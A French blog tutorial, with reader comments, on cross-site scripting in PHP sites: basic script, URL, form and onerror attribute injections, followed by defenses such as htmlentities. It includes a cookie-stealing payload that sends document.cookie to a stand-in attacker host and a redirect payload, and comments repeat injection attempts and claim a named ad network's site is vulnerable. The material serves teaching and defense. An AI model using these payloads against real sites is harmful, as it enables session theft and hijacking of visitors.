XSS Cross site scripting
Dernièrement, une faille de sécurité de type Cross Site Scripting, a été découverte dans une version de développement de Bilboblog (qui n'a jamais été publiée, donc personne n'est concernée). J'ai donc profité de cette occasion pour me pencher sur le fonctionnement de ces dernières et des solutions existantes pour les contrer efficacement.

1. Quelques explications

Le Cross Site Scripting, abrégé XSS (Cross voulant dire "croix" en anglais, le symbole X a été choisi pour le représenter), est un type de faille de sécurité que l'on trouve typiquement dans les applications web.

Le principe consiste à injecter du code (html, javascript ...) directement dans les pages web. Cela se fait généralement via un formulaire à remplir, en déposant un message dans un forum, dans un moteur de recherche ou directement dans l'URL d'un site, en y ajoutant quelques paramètres.

2. Exemples d'attaques simples

Notre premier exemple, sûrement l'un des plus simples, se base sur la ligne de code suivante :

<script>alert('bonjour')</script>

Imaginons que l'on trouve un site vulnérable, qui propose par exemple de laisser un commentaire aux visiteurs. On pourra copier/coller cette ligne dans la zone de saisie. Ainsi, lors de l'affichage du commentaire le site exécutera quelque chose comme cela :

<html>
<body>
....
Votre commentaire :
<p><script>alert('bonjour')</script></p>
...
</body>
</html>

On comprend donc ici, que lors du chargement de la page, les navigateurs web seront forcés d'exécuter le code injecté pour afficher une petite boite de dialogue, contenant le message "bonjour".

A partir de là, les possibilités d'injection sont nombreuses, voir infinies. Voici quelques exemples très courants :

- rediriger tous les visiteurs vers un autre site :

<script language="javascript">document.location.href="http://site-du-hacker.com/"</script>

- afficher un contenu souhaité par le hacker (message, pubs ...) :

<script>document.write('ma pub')</script>

voler des informations aux visiteurs (cookies, sessions ...) :

<script>window.open('http://site-du-hacker.com/recupcookie.php?val='+document.cookie");</script>

3. Les attaques par URLs

Bien sûr d'autres techniques d'attaques existent. Il est par exemple possible d'injecter du code directement dans les paramètres d'une URL.

Prenons le code php suivant :

<?php
...
echo "Bienvenue ".$_GET['pseudo'];
...
?>

Une utilisation normale de l'url sera la suivante :

http://monsite.fr/?pseudo=pti-seb

Tandis qu'un utilisateur mal intentionné pourra utiliser :
http://monsite.fr/?pseudo=<script>alert("hacked by pti-seb");</script>

4. Les attaque de formulaires

Les formulaires html ne sont pas à l'abri non plus, lorsque l'on oublie de vérifier le contenu des champs envoyés par les utilisateurs.

Imaginons un moteur de recherche programmé comme celui-ci :

<form method="post" action="resultat.php">
   Chercher : <input type="text" name="valeur" />
   <input type="submit" value="Chercher" />
</form>

Un hacker pourra choisir de déporter ce formulaire en local, en prenant soin de modifier le champ "action" et d'y injecter le code voulu :

<form method="post" action="http://monsite.fr/resultat.php">
   Chercher : <input type="text" name="valeur" value="<script>alert('hacked by pti-seb')</script>" />
   <input type="submit" value="Chercher" />
</form>

Si les valeurs envoyées sont mal protégées, le moteur de recherche affichera ce message :
Aucun résultat trouvé pour "<script>alert('hacked by pti-seb')</script>"

5. Les solutions

Une première solution pour contrer ces attaques, serait tout simplement d'interdire l'utilisation de la balise html <script>. Mais cela n'est pas suffisant, car on peut contourner facilement la protection en utilisant d'autres balises html, comme la balise iframe :

<iframe src="http://site-du-hacker.com"></iframe>

Il est donc plus prudent d'interdire toute utilisation de balises html. La fonction Php strip_tags() permet de faire cela et peut aller plus loin en autorisant seulement certaines balises. On pourra aussi utiliser une fonction similaire à celle-ci, qui s'occupe de neutraliser toutes les balises html :

function antiXss($chaine) {
   $chaine = str_replace("<", "", $chaine);
   return str_replace(">", "", $chaine);
}

Mais là encore, cette méthode est insuffisante face aux exploits n'utilisant aucune balise. Pour mieux comprendre, regardons ce code, qui ne possède aucune protection :

<?php
...
echo 'Votre image : <img src="'.$_GET['filename'].'" />';
...
?>

Une utilisation normale sera :

http://monsite.fr/?filename=/public/images/photos/informatique/windows/vista.jpg

Ce qui donnera en php :

echo 'Votre image : <img src="/public/images/photos/informatique/windows/vista.jpg" />';

Tandis qu'une utilisation mal intentionnée pourra être :
http://monsite.fr/?filename="onerror="alert('hacked by pti-seb')"a=".jpg

Ce qui donnera en php :

echo 'Votre image : <img src=""onerror="alert('hacked by pti-seb')"a=".jpg" />';

La source de l'image n'existant pas, le navigateur exécutera l'événement javascript onError.

La solution pour contrer tous ces exploits reste sans doute l'utilisation de la fonction Php htmlentities. En plus de neutraliser les balises, elle est capable de convertir les guillemets simples et doubles en code html et de détecter l'utilisation d'encodages différents. Voici un exemple :

function antiXss($chaine) {
   return htmlentities($chaine, ENT_QUOTES);
}

6. Conclusion

Ils existent bien sûr une multitude de techniques d'injection de code qui n'ont pas été vues ici. Lors d'un développement web, à chaque fois que l'internaute pourra saisir une donnée dans un formulaire ou autre, la question du XSS se posera systématiquement.

Il faudra donc de tester soigneusement chaque zone de saisie ou chaque paramètre d'URL afin de sécuriser au mieux son site web.


13 Commentaires pour "Les failles de sécurité XSS ou Cross Site Scripting"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    <script language="javascript">document.location.href="site-du-hacker.com/"...

    jean-mich , le 6 mars 2008 à 00:14
  •  

    @Jean-mich : bien tenté, mais le code de dotclear est plutôt bien conçu.

    pti-seb , le 6 mars 2008 à 00:15
  •  

    Sympa l'article, merci

    Eon , le 6 mars 2008 à 01:07
  •  

    Seb, qu'est ce qui s'est passé hier sur ton blog? Quand j'ai voulu me connecter j'étais redirigé sur un autre site. J'ai essayé plusieurs fois.

    NimaX , le 6 mars 2008 à 09:36
  •  

    @NimaX : la c'est autre chose même si l'attaque reste dans le même style.

    En faite, j'utilise de temps en temps blogbang, une regie de pub pour bloggeurs. Son utilisation se résume à l'installation d'un script javascript sur le blog.

    Le truc c'est que des hackers on réussit à pirater le DNS de blogbang.com, redirigant ainsi les requêtes vers leur propre serveur pour forcé l'utilisation de leur propre script javascript.

    Au lieu d'afficher des pubs, le script à du afficher ce genre de code : document.location.href="site-du-hacker.com/"

    Tous les blogs qui utilisent cette régie de pub ont été impactés. Le pire c'est que sur leur site ils n'en parlent pas pour l'instant, j'ai l'impression qu'ils veulent la jouer super discret sur cette affaire.

    pti-seb , le 6 mars 2008 à 10:05
  •  

    Article très intéressant.

    Pour moi c'est la menace de l'année 2008 ! Ca devient de plus en plus critique avec le développement d'applications automatisées qui fouillent sans cesse le web à la recherche de failles.

    Pixfan , le 6 mars 2008 à 12:01
  •  

    Bonjour,
    Bravo, ton theme du Cross Site Scripting,
    et puisque tu parlais de blogbang, se site est bourré de se type
    faille quand tu post un script dans leur formulaire.
    à l'affichage le script se lance.

    ils ont fait d'énormes erreurs de débutant toutes les transactions du site
    en y incluant la suppréssion d'un compte sont visible, en plus cela est en GET
    cela permet de connaitre qu'elles sont les variables connu par le site pour lançer une action.

    une fois logué, une session utilisateur se créer et à se mmonent on peut faire du Cross Site Scripting.
    sans probleme, inséré un POST dans le formulaire par exemple: <script>alert("TOTO");</script>
    Essayez cela fonctionne.

    Anonyme , le 24 mars 2008 à 12:35
  •  

    Très intéressant... enfin un article qui permet au néophyte de comprendre simplement le problème.

    Reste plus qu'à comprendre la solution pour régler mon problème. Mais "heureux", si ça se peut, de voir que c'est selon Pixman, le problème de l'année... N'étant pas seul à avoir le problème, on peut espérer qu'il y aura diverses solutions...

    Merci

    grizzou , le 10 mai 2008 à 03:26
  •  

    Bonjour j'utilise joomla 1.5.9 ( avec un forum, livre d'or, inscription,contactez-nous) Alor plein d'endroit ou injecter ... et j'etait hacker hier ... dans quel niveau je doit injecter ce script svp " function antiXss($chaine) {
    return htmlentities($chaine, ENT_QUOTES);
    } "
    Merci

    z4ck , le 26 mars 2009 à 13:31
  •  

    Très intéressant.

      , le 30 octobre 2011 à 13:48
  •  

    @jean-mich : alert('nope')

    moi , le 19 juin 2016 à 19:30
  •  

    alert(0)

    ah mince xD

    alert(0) , le 29 juillet 2016 à 13:41
  •  

    @moi : alert('nope')

    Anonyme , le 19 juin 2017 à 14:46

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum